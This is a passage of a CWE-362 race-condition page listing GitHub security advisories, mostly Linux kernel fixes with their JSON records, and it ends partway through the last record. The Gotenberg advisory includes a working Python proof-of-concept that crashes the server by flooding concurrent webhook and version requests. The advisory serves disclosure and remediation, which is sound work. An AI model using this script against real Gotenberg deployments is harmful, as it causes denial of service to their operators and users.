CWE-362
Allowed-with-ReviewConcurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Abstraction: Class · Status: Draft
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.
2903 vulnerabilities reference this CWE, most recent first.
GHSA-R2H4-Q9GR-P93H
Vulnerability from github – Published: 2025-10-04 18:31 – Updated: 2026-02-10 15:30In the Linux kernel, the following vulnerability has been resolved:
net/mlx5e: Check for NOT_READY flag state after locking
Currently the check for NOT_READY flag is performed before obtaining the necessary lock. This opens a possibility for race condition when the flow is concurrently removed from unready_flows list by the workqueue task, which causes a double-removal from the list and a crash[0]. Fix the issue by moving the flag check inside the section protected by uplink_priv->unready_flows_lock mutex.
[0]: [44376.389654] general protection fault, probably for non-canonical address 0xdead000000000108: 0000 [#1] SMP [44376.391665] CPU: 7 PID: 59123 Comm: tc Not tainted 6.4.0-rc4+ #1 [44376.392984] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014 [44376.395342] RIP: 0010:mlx5e_tc_del_fdb_flow+0xb3/0x340 [mlx5_core] [44376.396857] Code: 00 48 8b b8 68 ce 02 00 e8 8a 4d 02 00 4c 8d a8 a8 01 00 00 4c 89 ef e8 8b 79 88 e1 48 8b 83 98 06 00 00 48 8b 93 90 06 00 00 <48> 89 42 08 48 89 10 48 b8 00 01 00 00 00 00 ad de 48 89 83 90 06 [44376.399167] RSP: 0018:ffff88812cc97570 EFLAGS: 00010246 [44376.399680] RAX: dead000000000122 RBX: ffff8881088e3800 RCX: ffff8881881bac00 [44376.400337] RDX: dead000000000100 RSI: ffff88812cc97500 RDI: ffff8881242f71b0 [44376.401001] RBP: ffff88811cbb0940 R08: 0000000000000400 R09: 0000000000000001 [44376.401663] R10: 0000000000000001 R11: 0000000000000000 R12: ffff88812c944000 [44376.402342] R13: ffff8881242f71a8 R14: ffff8881222b4000 R15: 0000000000000000 [44376.402999] FS: 00007f0451104800(0000) GS:ffff88852cb80000(0000) knlGS:0000000000000000 [44376.403787] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [44376.404343] CR2: 0000000000489108 CR3: 0000000123a79003 CR4: 0000000000370ea0 [44376.405004] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [44376.405665] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [44376.406339] Call Trace: [44376.406651] [44376.406939] ? die_addr+0x33/0x90 [44376.407311] ? exc_general_protection+0x192/0x390 [44376.407795] ? asm_exc_general_protection+0x22/0x30 [44376.408292] ? mlx5e_tc_del_fdb_flow+0xb3/0x340 [mlx5_core] [44376.408876] __mlx5e_tc_del_fdb_peer_flow+0xbc/0xe0 [mlx5_core] [44376.409482] mlx5e_tc_del_flow+0x42/0x210 [mlx5_core] [44376.410055] mlx5e_flow_put+0x25/0x50 [mlx5_core] [44376.410529] mlx5e_delete_flower+0x24b/0x350 [mlx5_core] [44376.411043] tc_setup_cb_reoffload+0x22/0x80 [44376.411462] fl_reoffload+0x261/0x2f0 [cls_flower] [44376.411907] ? mlx5e_rep_indr_setup_ft_cb+0x160/0x160 [mlx5_core] [44376.412481] ? mlx5e_rep_indr_setup_ft_cb+0x160/0x160 [mlx5_core] [44376.413044] tcf_block_playback_offloads+0x76/0x170 [44376.413497] tcf_block_unbind+0x7b/0xd0 [44376.413881] tcf_block_setup+0x17d/0x1c0 [44376.414269] tcf_block_offload_cmd.isra.0+0xf1/0x130 [44376.414725] tcf_block_offload_unbind+0x43/0x70 [44376.415153] __tcf_block_put+0x82/0x150 [44376.415532] ingress_destroy+0x22/0x30 [sch_ingress] [44376.415986] qdisc_destroy+0x3b/0xd0 [44376.416343] qdisc_graft+0x4d0/0x620 [44376.416706] tc_get_qdisc+0x1c9/0x3b0 [44376.417074] rtnetlink_rcv_msg+0x29c/0x390 [44376.419978] ? rep_movs_alternative+0x3a/0xa0 [44376.420399] ? rtnl_calcit.isra.0+0x120/0x120 [44376.420813] netlink_rcv_skb+0x54/0x100 [44376.421192] netlink_unicast+0x1f6/0x2c0 [44376.421573] netlink_sendmsg+0x232/0x4a0 [44376.421980] sock_sendmsg+0x38/0x60 [44376.422328] _syssendmsg+0x1d0/0x1e0 [44376.422709] ? copy_msghdr_from_user+0x6d/0xa0 [44376.423127] _sys_sendmsg+0x80/0xc0 [44376.423495] ? sysrecvmsg+0x8b/0xc0 [44376.423869] sys_sendmsg+0x51/0x90 [44376.424226] do_syscall_64+0x3d/0x90 [44376.424587] entry_SYSCALL_64_after_hwframe+0x46/0xb0 [44376.425046] RIP: 0033:0x7f045134f887 [44376.425403] Code: 0a 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b9 0f 1f 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 2e 00 ---truncated---
{
"affected": [],
"aliases": [
"CVE-2023-53581"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-04T16:15:53Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Check for NOT_READY flag state after locking\n\nCurrently the check for NOT_READY flag is performed before obtaining the\nnecessary lock. This opens a possibility for race condition when the flow\nis concurrently removed from unready_flows list by the workqueue task,\nwhich causes a double-removal from the list and a crash[0]. Fix the issue\nby moving the flag check inside the section protected by\nuplink_priv-\u003eunready_flows_lock mutex.\n\n[0]:\n[44376.389654] general protection fault, probably for non-canonical address 0xdead000000000108: 0000 [#1] SMP\n[44376.391665] CPU: 7 PID: 59123 Comm: tc Not tainted 6.4.0-rc4+ #1\n[44376.392984] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\n[44376.395342] RIP: 0010:mlx5e_tc_del_fdb_flow+0xb3/0x340 [mlx5_core]\n[44376.396857] Code: 00 48 8b b8 68 ce 02 00 e8 8a 4d 02 00 4c 8d a8 a8 01 00 00 4c 89 ef e8 8b 79 88 e1 48 8b 83 98 06 00 00 48 8b 93 90 06 00 00 \u003c48\u003e 89 42 08 48 89 10 48 b8 00 01 00 00 00 00 ad de 48 89 83 90 06\n[44376.399167] RSP: 0018:ffff88812cc97570 EFLAGS: 00010246\n[44376.399680] RAX: dead000000000122 RBX: ffff8881088e3800 RCX: ffff8881881bac00\n[44376.400337] RDX: dead000000000100 RSI: ffff88812cc97500 RDI: ffff8881242f71b0\n[44376.401001] RBP: ffff88811cbb0940 R08: 0000000000000400 R09: 0000000000000001\n[44376.401663] R10: 0000000000000001 R11: 0000000000000000 R12: ffff88812c944000\n[44376.402342] R13: ffff8881242f71a8 R14: ffff8881222b4000 R15: 0000000000000000\n[44376.402999] FS: 00007f0451104800(0000) GS:ffff88852cb80000(0000) knlGS:0000000000000000\n[44376.403787] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[44376.404343] CR2: 0000000000489108 CR3: 0000000123a79003 CR4: 0000000000370ea0\n[44376.405004] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[44376.405665] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[44376.406339] Call Trace:\n[44376.406651] \u003cTASK\u003e\n[44376.406939] ? die_addr+0x33/0x90\n[44376.407311] ? exc_general_protection+0x192/0x390\n[44376.407795] ? asm_exc_general_protection+0x22/0x30\n[44376.408292] ? mlx5e_tc_del_fdb_flow+0xb3/0x340 [mlx5_core]\n[44376.408876] __mlx5e_tc_del_fdb_peer_flow+0xbc/0xe0 [mlx5_core]\n[44376.409482] mlx5e_tc_del_flow+0x42/0x210 [mlx5_core]\n[44376.410055] mlx5e_flow_put+0x25/0x50 [mlx5_core]\n[44376.410529] mlx5e_delete_flower+0x24b/0x350 [mlx5_core]\n[44376.411043] tc_setup_cb_reoffload+0x22/0x80\n[44376.411462] fl_reoffload+0x261/0x2f0 [cls_flower]\n[44376.411907] ? mlx5e_rep_indr_setup_ft_cb+0x160/0x160 [mlx5_core]\n[44376.412481] ? mlx5e_rep_indr_setup_ft_cb+0x160/0x160 [mlx5_core]\n[44376.413044] tcf_block_playback_offloads+0x76/0x170\n[44376.413497] tcf_block_unbind+0x7b/0xd0\n[44376.413881] tcf_block_setup+0x17d/0x1c0\n[44376.414269] tcf_block_offload_cmd.isra.0+0xf1/0x130\n[44376.414725] tcf_block_offload_unbind+0x43/0x70\n[44376.415153] __tcf_block_put+0x82/0x150\n[44376.415532] ingress_destroy+0x22/0x30 [sch_ingress]\n[44376.415986] qdisc_destroy+0x3b/0xd0\n[44376.416343] qdisc_graft+0x4d0/0x620\n[44376.416706] tc_get_qdisc+0x1c9/0x3b0\n[44376.417074] rtnetlink_rcv_msg+0x29c/0x390\n[44376.419978] ? rep_movs_alternative+0x3a/0xa0\n[44376.420399] ? rtnl_calcit.isra.0+0x120/0x120\n[44376.420813] netlink_rcv_skb+0x54/0x100\n[44376.421192] netlink_unicast+0x1f6/0x2c0\n[44376.421573] netlink_sendmsg+0x232/0x4a0\n[44376.421980] sock_sendmsg+0x38/0x60\n[44376.422328] ____sys_sendmsg+0x1d0/0x1e0\n[44376.422709] ? copy_msghdr_from_user+0x6d/0xa0\n[44376.423127] ___sys_sendmsg+0x80/0xc0\n[44376.423495] ? ___sys_recvmsg+0x8b/0xc0\n[44376.423869] __sys_sendmsg+0x51/0x90\n[44376.424226] do_syscall_64+0x3d/0x90\n[44376.424587] entry_SYSCALL_64_after_hwframe+0x46/0xb0\n[44376.425046] RIP: 0033:0x7f045134f887\n[44376.425403] Code: 0a 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b9 0f 1f 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 2e 00\n---truncated---",
"id": "GHSA-r2h4-q9gr-p93h",
"modified": "2026-02-10T15:30:20Z",
"published": "2025-10-04T18:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53581"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/30c281a77fb1b2d362030ea243dd663201d62a21"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/65e64640e97c0f223e77f9ea69b5a46186b93470"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/82ac62d76a000871004f534ad294e763e966d3b0"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/e962fd5933ebc767ce2a1cf7b7c85035b5a5d04c"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f7ceedd1d124217a67ed1a67bbd7a7b1288705e3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R2W4-H757-2M5G
Vulnerability from github – Published: 2022-05-02 03:22 – Updated: 2022-05-02 03:22Race condition in the dircmp script in Sun Solaris 8 through 10, and OpenSolaris snv_01 through snv_111, allows local users to overwrite arbitrary files, probably involving a symlink attack on temporary files.
{
"affected": [],
"aliases": [
"CVE-2009-1207"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-04-01T10:30:00Z",
"severity": "MODERATE"
},
"details": "Race condition in the dircmp script in Sun Solaris 8 through 10, and OpenSolaris snv_01 through snv_111, allows local users to overwrite arbitrary files, probably involving a symlink attack on temporary files.",
"id": "GHSA-r2w4-h757-2m5g",
"modified": "2022-05-02T03:22:45Z",
"published": "2022-05-02T03:22:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-1207"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/49526"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6183"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/34558"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/34813"
},
{
"type": "WEB",
"url": "http://sunsolve.sun.com/search/document.do?assetkey=1-21-138897-01-1"
},
{
"type": "WEB",
"url": "http://sunsolve.sun.com/search/document.do?assetkey=1-66-253468-1"
},
{
"type": "WEB",
"url": "http://support.avaya.com/elmodocs2/security/ASA-2009-140.htm"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/34316"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/1105"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-R2X6-VRXX-JGV4
Vulnerability from github – Published: 2021-08-25 20:58 – Updated: 2023-06-13 18:34Affected versions of this crate unconditionally implemented Send for types used in queue implementations (InnerSend, InnerRecv, FutInnerSend, FutInnerRecv). This allows users to send non-Send types to other threads, which can lead to data race bugs or other undefined behavior.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "multiqueue"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-36463"
],
"database_specific": {
"cwe_ids": [
"CWE-362",
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-18T20:19:09Z",
"nvd_published_at": "2021-08-08T06:15:00Z",
"severity": "HIGH"
},
"details": "Affected versions of this crate unconditionally implemented Send for types used in queue implementations (InnerSend\u003cRW, T\u003e, InnerRecv\u003cRW, T\u003e, FutInnerSend\u003cRW, T\u003e, FutInnerRecv\u003cRW, T\u003e). This allows users to send non-Send types to other threads, which can lead to data race bugs or other undefined behavior.",
"id": "GHSA-r2x6-vrxx-jgv4",
"modified": "2023-06-13T18:34:57Z",
"published": "2021-08-25T20:58:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36463"
},
{
"type": "WEB",
"url": "https://github.com/schets/multiqueue/issues/31"
},
{
"type": "PACKAGE",
"url": "https://github.com/schets/multiqueue"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/multiqueue/RUSTSEC-2020-0143.md"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2020-0143.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Data races in multiqueue"
}
GHSA-R33J-C622-R6QP
Vulnerability from github – Published: 2026-05-07 01:00 – Updated: 2026-05-14 20:52Summary
The webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds.
Details
pkg/modules/webhook/middleware.go:338-382 starts the async goroutine and immediately returns api.ErrAsyncProcess to the caller:
w.asyncCount.Add(1)
go func() {
defer cancel()
defer w.asyncCount.Add(-1)
err := next(c) // line 343
...
sendOutputFile(sendOutputFileParams{ ctx: ctx, ... })
}()
return api.ErrAsyncProcess // line 382
pkg/modules/api/middlewares.go:356-361 sees the sentinel, responds with 204 No Content, and lets Echo return c to the pool:
if errors.Is(err, ErrAsyncProcess) {
return c.NoContent(http.StatusNoContent)
}
Echo's router calls c.Reset() before serving the next request from the same goroutine pool slot, wiping c.store. When the webhook goroutine's next(c) enters hardTimeoutMiddleware at pkg/modules/api/middlewares.go:396-398, the handler dereferences the store before the new recover scope exists:
return func(c echo.Context) error {
logger := c.Get("logger").(*slog.Logger) // line 398
...
go func() {
defer func() { if r := recover(); r != nil { ... } }() // recover is scoped here
errChan <- next(c)
}()
If a concurrent request has just acquired c from the pool, c.Get("logger") returns nil, and nil.(*slog.Logger) panics at line 398. The panic is not inside any goroutine with a recover(), so the Go runtime terminates the process with exit code 2.
No echo.Recover middleware is registered (pkg/modules/api/api.go:480-536). GOTRACEBACK defaults propagate the panic to stderr and exit.
Proof of Concept
Reproduction on the stock Docker image with default configuration:
docker run -d --name gotenberg-poc -p 3000:3000 \
-e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error
Single-process stress script (Alice sends both streams, no second actor):
import requests, subprocess, time, json, threading
TARGET = "http://localhost:3000"
WEBHOOK = "http://httpbin.org/post" # passes default webhook-deny-list
STOP = threading.Event()
html = b"<html><body><h1>Q</h1></body></html>"
def webhook_fire():
s = requests.Session()
while not STOP.is_set():
try:
s.post(
f"{TARGET}/forms/chromium/convert/html",
files={"files": ("index.html", html, "text/html")},
headers={
"Gotenberg-Webhook-Url": WEBHOOK,
"Gotenberg-Webhook-Error-Url": WEBHOOK,
},
timeout=15,
)
except: pass
def noise_fire():
s = requests.Session()
while not STOP.is_set():
try: s.get(f"{TARGET}/version", timeout=2)
except: pass
for _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start()
for _ in range(60): threading.Thread(target=noise_fire, daemon=True).start()
t0 = time.time()
while time.time() - t0 < 60:
time.sleep(1)
status = json.loads(subprocess.run(
["docker", "inspect", "gotenberg-poc"],
capture_output=True, text=True, check=True).stdout)[0]["State"]
if status["Status"] != "running":
print(f"process crashed after {time.time()-t0:.1f}s, exit code {status['ExitCode']}")
STOP.set()
break
Observed output:
process crashed after 2.2s, exit code 2
Container stderr captured with docker logs gotenberg-poc:
panic: interface conversion: interface {} is nil, not *slog.Logger
goroutine 287020 [running]:
/home/pkg/modules/api/middlewares.go:398 +0x2e6
/home/pkg/modules/webhook/middleware.go:343 +0xec
created by github.com/gotenberg/gotenberg/v8/pkg/modules/webhook.(*Webhook).Middlewares.webhookMiddleware.func1.func2.2
/home/pkg/modules/webhook/middleware.go:338 +0x1176
Impact
Any client that can reach the Gotenberg API crashes the process. Auto-restart policies (--restart=always, Kubernetes liveness probes, Compose defaults) let Gotenberg come back up, but each crash drops every in-flight conversion, abandons pending webhook deliveries, and resets internal state. Sustained attack traffic keeps the process in a restart loop, producing continuous unavailability. The webhook-deny-list blocks attacker-chosen webhook destinations inside private networks, but does not filter the submitter of the request, so an unauthenticated Internet attacker drives the crash with only the ability to reach port 3000.
Recommended Fix
Replace the unchecked type assertion at pkg/modules/api/middlewares.go:398 with a guarded lookup that handles the pool-reuse case:
logger, _ := c.Get("logger").(*slog.Logger)
if logger == nil {
return errors.New("context reused from pool before middleware chain populated it")
}
Also add a defer recover() at the top of the webhook goroutine body at pkg/modules/webhook/middleware.go:338 so any future panic downstream does not kill the process:
go func() {
defer func() {
if r := recover(); r != nil {
ctx.Log().Error(fmt.Sprintf("webhook goroutine panic: %v", r))
handleError(fmt.Errorf("internal error: %v", r))
}
}()
defer cancel()
defer w.asyncCount.Add(-1)
...
}()
A deeper fix detaches echo.Context from api.Context before the goroutine runs: extract every value the goroutine needs (output filename, logger, correlation fields) into plain variables or struct fields, then clear ctx.echoCtx so downstream code cannot reach the pooled context.
Found by aisafe.io
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.31.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.32.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42594"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T01:00:24Z",
"nvd_published_at": "2026-05-14T16:16:22Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe webhook middleware spawns a goroutine that holds a reference to the request\u0027s `echo.Context` after the synchronous handler returns `ErrAsyncProcess` and Echo recycles the context back to its `sync.Pool`. When a concurrent request claims the recycled context, `c.Reset()` clears the store. If the webhook goroutine reaches `hardTimeoutMiddleware` at that moment, an unchecked type assertion on a nil store entry panics outside any `recover()` scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default `webhook-deny-list` filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 `GET /version` requests crashes the process in about two seconds.\n\n## Details\n\n`pkg/modules/webhook/middleware.go:338-382` starts the async goroutine and immediately returns `api.ErrAsyncProcess` to the caller:\n\n```go\nw.asyncCount.Add(1)\ngo func() {\n defer cancel()\n defer w.asyncCount.Add(-1)\n\n err := next(c) // line 343\n ...\n sendOutputFile(sendOutputFileParams{ ctx: ctx, ... })\n}()\n\nreturn api.ErrAsyncProcess // line 382\n```\n\n`pkg/modules/api/middlewares.go:356-361` sees the sentinel, responds with `204 No Content`, and lets Echo return `c` to the pool:\n\n```go\nif errors.Is(err, ErrAsyncProcess) {\n return c.NoContent(http.StatusNoContent)\n}\n```\n\nEcho\u0027s router calls `c.Reset()` before serving the next request from the same goroutine pool slot, wiping `c.store`. When the webhook goroutine\u0027s `next(c)` enters `hardTimeoutMiddleware` at `pkg/modules/api/middlewares.go:396-398`, the handler dereferences the store before the new recover scope exists:\n\n```go\nreturn func(c echo.Context) error {\n logger := c.Get(\"logger\").(*slog.Logger) // line 398\n\n ...\n go func() {\n defer func() { if r := recover(); r != nil { ... } }() // recover is scoped here\n errChan \u003c- next(c)\n }()\n```\n\nIf a concurrent request has just acquired `c` from the pool, `c.Get(\"logger\")` returns `nil`, and `nil.(*slog.Logger)` panics at line 398. The panic is not inside any goroutine with a `recover()`, so the Go runtime terminates the process with exit code 2.\n\nNo `echo.Recover` middleware is registered (`pkg/modules/api/api.go:480-536`). `GOTRACEBACK` defaults propagate the panic to stderr and exit.\n\n## Proof of Concept\n\nReproduction on the stock Docker image with default configuration:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 \\\n -e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error\n```\n\nSingle-process stress script (Alice sends both streams, no second actor):\n\n```python\nimport requests, subprocess, time, json, threading\n\nTARGET = \"http://localhost:3000\"\nWEBHOOK = \"http://httpbin.org/post\" # passes default webhook-deny-list\nSTOP = threading.Event()\nhtml = b\"\u003chtml\u003e\u003cbody\u003e\u003ch1\u003eQ\u003c/h1\u003e\u003c/body\u003e\u003c/html\u003e\"\n\ndef webhook_fire():\n s = requests.Session()\n while not STOP.is_set():\n try:\n s.post(\n f\"{TARGET}/forms/chromium/convert/html\",\n files={\"files\": (\"index.html\", html, \"text/html\")},\n headers={\n \"Gotenberg-Webhook-Url\": WEBHOOK,\n \"Gotenberg-Webhook-Error-Url\": WEBHOOK,\n },\n timeout=15,\n )\n except: pass\n\ndef noise_fire():\n s = requests.Session()\n while not STOP.is_set():\n try: s.get(f\"{TARGET}/version\", timeout=2)\n except: pass\n\nfor _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start()\nfor _ in range(60): threading.Thread(target=noise_fire, daemon=True).start()\n\nt0 = time.time()\nwhile time.time() - t0 \u003c 60:\n time.sleep(1)\n status = json.loads(subprocess.run(\n [\"docker\", \"inspect\", \"gotenberg-poc\"],\n capture_output=True, text=True, check=True).stdout)[0][\"State\"]\n if status[\"Status\"] != \"running\":\n print(f\"process crashed after {time.time()-t0:.1f}s, exit code {status[\u0027ExitCode\u0027]}\")\n STOP.set()\n break\n```\n\nObserved output:\n\n```\nprocess crashed after 2.2s, exit code 2\n```\n\nContainer stderr captured with `docker logs gotenberg-poc`:\n\n```\npanic: interface conversion: interface {} is nil, not *slog.Logger\ngoroutine 287020 [running]:\n /home/pkg/modules/api/middlewares.go:398 +0x2e6\n /home/pkg/modules/webhook/middleware.go:343 +0xec\ncreated by github.com/gotenberg/gotenberg/v8/pkg/modules/webhook.(*Webhook).Middlewares.webhookMiddleware.func1.func2.2\n /home/pkg/modules/webhook/middleware.go:338 +0x1176\n```\n\n## Impact\n\nAny client that can reach the Gotenberg API crashes the process. Auto-restart policies (`--restart=always`, Kubernetes liveness probes, Compose defaults) let Gotenberg come back up, but each crash drops every in-flight conversion, abandons pending webhook deliveries, and resets internal state. Sustained attack traffic keeps the process in a restart loop, producing continuous unavailability. The webhook-deny-list blocks attacker-chosen webhook destinations inside private networks, but does not filter the submitter of the request, so an unauthenticated Internet attacker drives the crash with only the ability to reach port 3000.\n\n## Recommended Fix\n\nReplace the unchecked type assertion at `pkg/modules/api/middlewares.go:398` with a guarded lookup that handles the pool-reuse case:\n\n```go\nlogger, _ := c.Get(\"logger\").(*slog.Logger)\nif logger == nil {\n return errors.New(\"context reused from pool before middleware chain populated it\")\n}\n```\n\nAlso add a `defer recover()` at the top of the webhook goroutine body at `pkg/modules/webhook/middleware.go:338` so any future panic downstream does not kill the process:\n\n```go\ngo func() {\n defer func() {\n if r := recover(); r != nil {\n ctx.Log().Error(fmt.Sprintf(\"webhook goroutine panic: %v\", r))\n handleError(fmt.Errorf(\"internal error: %v\", r))\n }\n }()\n defer cancel()\n defer w.asyncCount.Add(-1)\n ...\n}()\n```\n\nA deeper fix detaches `echo.Context` from `api.Context` before the goroutine runs: extract every value the goroutine needs (output filename, logger, correlation fields) into plain variables or struct fields, then clear `ctx.echoCtx` so downstream code cannot reach the pooled context.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-r33j-c622-r6qp",
"modified": "2026-05-14T20:52:40Z",
"published": "2026-05-07T01:00:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-r33j-c622-r6qp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42594"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine"
}
GHSA-R348-7MVP-G684
Vulnerability from github – Published: 2025-05-02 18:31 – Updated: 2025-11-12 18:31In the Linux kernel, the following vulnerability has been resolved:
tee: amdtee: fix race condition in amdtee_open_session
There is a potential race condition in amdtee_open_session that may lead to use-after-free. For instance, in amdtee_open_session() after sess->sess_mask is set, and before setting:
sess->session_info[i] = session_info;
if amdtee_close_session() closes this same session, then 'sess' data structure will be released, causing kernel panic when 'sess' is accessed within amdtee_open_session().
The solution is to set the bit sess->sess_mask as the last step in amdtee_open_session().
{
"affected": [],
"aliases": [
"CVE-2023-53047"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-02T16:15:23Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\ntee: amdtee: fix race condition in amdtee_open_session\n\nThere is a potential race condition in amdtee_open_session that may\nlead to use-after-free. For instance, in amdtee_open_session() after\nsess-\u003esess_mask is set, and before setting:\n\n sess-\u003esession_info[i] = session_info;\n\nif amdtee_close_session() closes this same session, then \u0027sess\u0027 data\nstructure will be released, causing kernel panic when \u0027sess\u0027 is\naccessed within amdtee_open_session().\n\nThe solution is to set the bit sess-\u003esess_mask as the last step in\namdtee_open_session().",
"id": "GHSA-r348-7mvp-g684",
"modified": "2025-11-12T18:31:04Z",
"published": "2025-05-02T18:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53047"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/02b296978a2137d7128151c542e84dc96400bc00"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/a63cce9393e4e7dbc5af82dc87e68cb321cb1a78"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b3ef9e6fe09f1a132af28c623edcf4d4f39d9f35"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f632a90f8e39db39b322107b9a8d438b826a7f4f"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f8502fba45bd30e1a6a354d9d898bc99d1a11e6d"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R3F7-9RJ4-J5FM
Vulnerability from github – Published: 2026-02-14 18:30 – Updated: 2026-03-18 15:30In the Linux kernel, the following vulnerability has been resolved:
mptcp: fix race in mptcp_pm_nl_flush_addrs_doit()
syzbot and Eulgyu Kim reported crashes in mptcp_pm_nl_get_local_id() and/or mptcp_pm_nl_is_backup()
Root cause is list_splice_init() in mptcp_pm_nl_flush_addrs_doit() which is not RCU ready.
list_splice_init_rcu() can not be called here while holding pernet->lock spinlock.
Many thanks to Eulgyu Kim for providing a repro and testing our patches.
{
"affected": [],
"aliases": [
"CVE-2026-23169"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-14T16:15:57Z",
"severity": "MODERATE"
},
